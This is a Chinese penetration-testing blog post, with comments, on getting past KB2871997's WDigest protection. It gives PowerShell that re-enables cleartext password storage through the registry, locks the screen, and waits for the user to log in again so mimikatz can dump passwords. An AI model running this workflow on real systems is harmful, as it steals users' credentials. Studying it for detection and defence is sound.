0x00 前言
在渗透测试中,渗透测试人员通常会使用mimikatz从LSA的内存中导出系统的明文口令,而有经验的管理员往往会选择安装补丁kb2871997
来限制这种行为。这其中涉及到哪些有趣的细节呢?本文将会一一介绍。
0x01 简介
KB2871997:
更新KB2871997补丁后,可禁用Wdigest Auth强制系统的内存不保存明文口令,此时mimikatz和wce均无法获得系统的明文口令。但是其他一些系统服务(如IIS的SSO身份验证)在运行的过程中需要Wdigest Auth开启,所以补丁采取了折中的办法——安装补丁后可选择是否禁用Wdigest Auth。当然,如果启用Wdigest Auth,内存中还是会保存系统的明文口令。
支持系统:
- Windows 7
- Windows 8
- Windows 8.1
- Windows Server 2008
- Windows Server 2012
- Windows Server 2012R 2
配置:
1、下载补丁并安装
下载地址:
https://support.microsoft.com/en-us/kb/2871997
2、配置补丁
下载easy fix并运行,禁用Wdigest Auth
注:
easy fix的操作其实就是改了注册表的键值,所以这里我们可以手动操作注册表来禁用Wdigest Auth
对应的注册表路径为:
HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest
名称为:
UseLogonCredential
类型为:
REG_DWORD
值为:
0
使用批处理的命令为:
#!bash
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f
如图
3、重启系统
测试无法导出明文口令
如图
0x02 解决方法
需要将UseLogonCredential的值设为1,然后注销当前用户,用户再次登录后使用mimikatz即可导出明文口令。
Nishang中的Invoke-MimikatzWDigestDowngrade集成了这个功能,地址如下:
https://github.com/samratashok/nishang/blob/master/Gather/Invoke-MimikatzWDigestDowngrade.ps1
但是在功能上还无法做到一键操作,于是我对此做了扩展。
0x03 扩展思路
操作流程如下:
- 修改注册表
- 锁屏等待用户登录
- 用户登录后,立即导出明文口令
脚本实现上需要考虑如下问题:
- 修改注册表
- 锁屏
- 进入循环,判断当前系统是否结束锁屏状态
- 用户登录后,跳出循环等待,立即导出明文口令并保存
0x04 扩展方法
通过powershell实现
1、修改注册表
键值设为1:
#!bash
Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest -Name UseLogonCredential -Type DWORD -Value 1
循环判断注册表键值是否为0,如果为1,等待10s再次判断,如果为0,退出循环,可用来监控此注册表键值是否被修改:
#!powershell
$key=Get-ItemProperty -Path "Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\" -Name "UseLogonCredential"
$Flag=$key.UseLogonCredential
write-host "[+]Checking Flag"
while($Flag -eq 1)
{
write-host "[+]Flag Normal"
write-host "[+]Wait 10 Seconds..."
Start-Sleep -Seconds 10
$key=Get-ItemProperty -Path "Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\" -Name "UseLogonCredential"
$Flag=$key.UseLogonCredential
write-host "[+]Checking Flag"
}
write-host "[!]Flag Changed!"
如图
2、锁屏
锁屏操作的快捷键为Win+L
cmd下命令为:
rundll32.exe user32.dll,LockWorkStation
powershell代码如下:
#!powershell
Function Lock-WorkStation {
$signature = @"
[DllImport("user32.dll", SetLastError = true)]
public static extern bool LockWorkStation();
"@
$LockWorkStation = Add-Type -memberDefinition $signature -name "Win32LockWorkStation" -namespace Win32Functions -passthru
$LockWorkStation::LockWorkStation() | Out-Null
}
Lock-WorkStation
如图
3、判断当前系统是否结束锁屏状态
最开始的思路为锁屏会运行某个进程,在结束锁屏状态后会退出某个进程或是在结束锁屏状态后会启动某个进程,于是编写了如下测试代码:
判断进程notepad进程是否存在,如果不存在等待10s再次判断,如果存在,退出循环:
#!powershell
$id=Get-Process | Where-Object {$_.ProcessName.Contains("notepad") }
$Flag=$id.Id+0
write-host "[+]Checking tasklist"
while($Flag -eq 0)
{
write-host "[-]No notepad.exe"
write-host "[+]Wait 10 Seconds..."
Start-Sleep -Seconds 10
$id=Get-Process | Where-Object {$_.ProcessName.Contains("notepad") }
$Flag=$id.Id+0
write-host "[+]Checking tasklist"
}
write-host "[!]Got notepad.exe!"
但是实际测试效果均不太理想,后来在如下链接找到了解决思路:
http://stackoverflow.com/questions/9563549/what-happens-behind-the-windows-lock-screen
锁屏状态下GetForegroundWindow()的函数返回值为NULL,非锁屏状态下GetForegroundWindow()的函数返回值为一个非零的值。
对于GetForegroundWindow()的函数用法可在如下链接找到参考:
https://github.com/PowerShellMafia/PowerSploit/blob/dev/Exfiltration/Get-Keystrokes.ps1
于是在此基础上实现功能:
循环判断当前是否为锁屏状态,如果不是锁屏状态,退出循环,否则循环等待
#!powershell
function local:Get-DelegateType {
Param (
[OutputType([Type])]
[Parameter( Position = 0)]
[Type[]]
$Parameters = (New-Object Type[](0)),
[Parameter( Position = 1 )]
[Type]
$ReturnType = [Void]
)
$Domain = [AppDomain]::CurrentDomain
$DynAssembly = New-Object Reflection.AssemblyName('ReflectedDelegate')
$AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
$TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters)
$ConstructorBuilder.SetImplementationFlags('Runtime, Managed')
$MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
$MethodBuilder.SetImplementationFlags('Runtime, Managed')
$TypeBuilder.CreateType()
}
function local:Get-ProcAddress {
Param (
[OutputType([IntPtr])]
[Parameter( Position = 0, Mandatory = $True )]
[String]
$Module,
[Parameter( Position = 1, Mandatory = $True )]
[String]
$Procedure
)
$SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() |
Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }
$UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
$GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')
$GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress')
$Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
$tmpPtr = New-Object IntPtr
$HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)
$GetProcAddress.Invoke($null, @([Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))
}
Start-Sleep -Seconds 10
$GetForegroundWindowAddr = Get-ProcAddress user32.dll GetForegroundWindow
$GetForegroundWindowDelegate = Get-DelegateType @() ([IntPtr])
$GetForegroundWindow = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetForegroundWindowAddr, $GetForegroundWindowDelegate)
$hWindow = $GetForegroundWindow.Invoke()
write-host "[+]Checking Flag"
while($hWindow -eq 0)
{
write-host "[+]LockScreen"
write-host "[+]Wait 10 Seconds..."
Start-Sleep -Seconds 10
$GetForegroundWindowAddr = Get-ProcAddress user32.dll GetForegroundWindow
$GetForegroundWindowDelegate = Get-DelegateType @() ([IntPtr])
$GetForegroundWindow = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetForegroundWindowAddr, $GetForegroundWindowDelegate)
$hWindow = $GetForegroundWindow.Invoke()
write-host "[+]Checking Flag"
}
write-host "[!]Got Screen!"
为方便演示,上面的脚本添加了等待10s后再判断的功能,如图
4、用户登录后,跳出循环等待,立即导出明文口令并保存
导出口令的功能参考如下代码
通过powershell加载mimikatz导出明文口令,添加了保存、判断、循环等细节,整合文中的功能,完整的代码已上传至github,地址为:
https://github.com/3gstudent/Dump-Clear-Password-after-KB2871997-installed
完整演示如图
0x05 小结
本文对加载mimikatz导明文口令的powershell脚本做了扩充,添加了如下功能:
- 修改注册表键值,启用Wdigest Auth
- 自动锁屏,等待用户重新登录
- 判断当前锁屏状态,用户解锁登录后立即导出明文口令
同时也通过powershell实现了监控并记录对注册表键值的修改,可用作防御
0x06 补充
见上面的链接,l3m0n对渗透测试的整理很是细心,是个很好的学习资料。另外在其github上hash抓取
这一章中的win8+win2012明文抓取
描述为测试失败,希望本文对你(@l3m0n)有用
更多学习资料:
https://blogs.technet.microsoft.com/kfalde/2014/11/01/kb2871997-and-wdigest-part-1/
学习了
赞
@cpu 如果kill了lsass.exe进程,会立即弹框,提示windows已遇到关键问题,将在一分钟后自动重新启动.测试系统:server2008 R2x64。不知道你说的是哪种kill方法
说的这么详细,在渗透2003和2008的时候,试试把lsass.exe进程kill了,然后等它自己恢复进程,直接用mimikatz读取,国外的试了是科哦以滴
非常有用啊,当时测试也是一脸懵比,现在感觉清晰了许多,感谢师傅!
https://www.trustedsec.com/april-2015/dumping-wdigest-creds-with-meterpreter-mimikatzkiwi-in-windows-8-1/ 不解释
@fuck 立即抓完了再把注册表改回去啊~
@Hogns 我的理解是在修改注册表后,只有用户重新输入密码登录后,才能抓到明文。锁屏、注销、重启等操作都是为了让用户重新输入密码进行登录,当然,如果锁屏后用户一直不登录的话,也是抓不到明文的。
@三好学生 立即抓和后来抓有什么不一样么,我记得这个补丁是针对win8及(windows server 2012)以下版本的,win8.1(windows server 2012r2)以上不用这个补丁本来就默认不存储明文了。win7即使安装了这个补丁,默认还是存储在内存里面,只是多了一个这个注册表选项可以设置不存储,你实验已经说明了。以前我测试的时候,更改注册表后我重启机器,原来锁屏也可以的。你分享下那段代码还有什么用途。
1.一般注册表是注销后(非重启)重新登陆才会生效的,没想到锁屏也生效。。
2.修改注册表后,用户仍需在connect或disconnect状态(锁屏,或直接关3389窗口)才能抓到明文,如果是正常的logoff了还是抓不到的吧?
@Her0in 标题已经更正了~
@三好学生 @0xCCCC 准确的讲应该是 Clear-Text Passwords
叼叼的
@0xCCCC plain text=clear-text?
“明文”应该是 plain 而不是 clear.
@fuck 锁屏+判断的那段代码还有更多用途~
我以为要重启才能生效,锁屏就可以么,那更加方便了